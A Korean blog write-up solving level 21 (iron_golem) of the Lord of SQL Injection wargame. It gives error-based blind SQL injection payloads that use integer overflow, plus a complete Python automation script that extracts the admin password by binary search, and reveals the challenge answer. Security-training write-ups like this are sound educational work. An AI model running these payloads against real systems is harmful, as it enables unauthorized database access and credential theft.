Home LOS - 21번 iron_golem
Post
Cancel

Lord of SQL Injection › LOS - 21번 iron_golem

[21] iron_golem

문제

풀이

solve 조건은 admin 계정의 pw를 알아내는 것이다.


preg_match를 살펴보면 sleep과 benchmark를 필터링하고 있다.

두 함수 모두 Time Based Blind SQLi에 쓰이는 함수다.

.과 _등을 함께 필터링하므로 헤비쿼리도 사용이 불가능하다.

Timed Based로 접근하기 위한 방법이 모두 막혔으므로, 다른 방식으로 푸는 문제임을 유추할 수 있다.

  • 헤비쿼리 : information_schema.columns 등을 여러개 join시켜 내부 데이터를 왕창 읽어들임으로써 시간을 지연시키는 방법이다.


또한 지금까지의 문제들처럼 쿼리의 실행 결과를 보여주는 대신, 에러 발생 시 에러 메시지를 보여주고 있다.

  • Hello {$result[id]} → mysqli_error($db)


이러한 점들로 미루어 보아, Error Based로 접근해야하는 문제임을 짐작할 수 있다.

Timed Based나 Error Based에 대해 제대로 공부해본 적이 없었기 때문에 여기까지 결론을 내리는데 많은 시간이 소요되었다…


고의적으로 에러를 발생시키는 방법에는 여러가지가 있다.

  • 이 때, 발생시켜야하는 에러는 Syntax Error가 아닌 Runtime Error이다.


그 중 개인적으로 가장 간단하다고 생각한 방법인 큰 수 연산을 통해 문제를 해결해보았다.

말 그대로, Integer 범위를 초과하는 과도한 연산을 요청함으로써 에러를 발생시키는 방법이다.


먼저, 과도하게 큰 수의 연산을 요청했을 시의 에러 메시지의 내용을 확인해본다.


다음은 pw의 페이로드로 ’ or 0xFFFFFFFFFFFFFF*0xFFFFFFFFFFFFFF 를 주었을 시의 에러 메시지의 내용이다.



위 에러 메시지 내용의 일부를 키워드로 활용하여 자동화 코드를 짜면 된다.

나는 out of range를 선택했다.

  • res.text에 out of range가 포함되어있을 시 에러가 발생한 것으로 판별한다.


pw의 길이를 찾았을 시 에러를 발생시키기 위한 페이로드의 예시는 다음과 같다.

1
param=f"?pw=' or id='admin' and if(length(pw)={num}, 0xFFFFFFFFFFFFFF*0xFFFFFFFFFFFFFF, 1) %23"

이후 완전한 pw를 찾는 방법도 동일한 로직을 사용한다.

특정 인덱스의 아스키를 찾았을 시 에러를 발생시켜주면 된다.


또한 이번 문제에서도 검색 속도를 높이기 위해 2진 탐색을 적용해준다.


LoS 21번 Python 자동화 코드이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests

def send(param):
    url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
    cookie = "dfksep8hnmequ6sm0qe1iu65pa"
    head = {"PHPSESSID":f"{cookie}"}
    my_url = url+param
    res = requests.get(my_url, cookies=head)
    return res.text

print("💘 LoS 21을 시작합니다")

for num in range(0,100):
    param=f"?pw=' or id='admin' and if(length(pw)={num}, 0xFFFFFFFFFFFFFF*0xFFFFFFFFFFFFFF, 1) %23"
    if("out of range" in send(param)):
        print(f"👏 pw의 길이는 {num}입니다!")
        break

ans=""

for len in range(1, num+1):
    start = 32
    end = 127
    while True:
        middle = round((start+end)/2)
        param=f"?pw=' or id=\"admin\" and if(ascii(substr(pw,{len},1))>={middle}, 0xFFFFFFFFFFFFFF*0xFFFFFFFFFFFFFF, 1) %23"
        if("out of range" in send(param)):
            param=f"?pw=' or id=\"admin\" and if(ascii(substr(pw,{len},1))={middle}, 0xFFFFFFFFFFFFFF*0xFFFFFFFFFFFFFF, 1) %23"
            if("out of range" in send(param)):
                print(f"{len}번째 문자 → {chr(middle)}")
                ans+=chr(middle)
                break
            else:
                start = middle
                continue
        else:
            end = middle
            continue

print(f"👏 pw의 정체는 [{ans}]입니다!")

Blind 공격 결과, pw는 06b5a6c16e8830475f983cc3a825ee9a 임을 확인할 수 있다.

결과

❤ Recent Post
❤ How About This
❤ Visitor Counter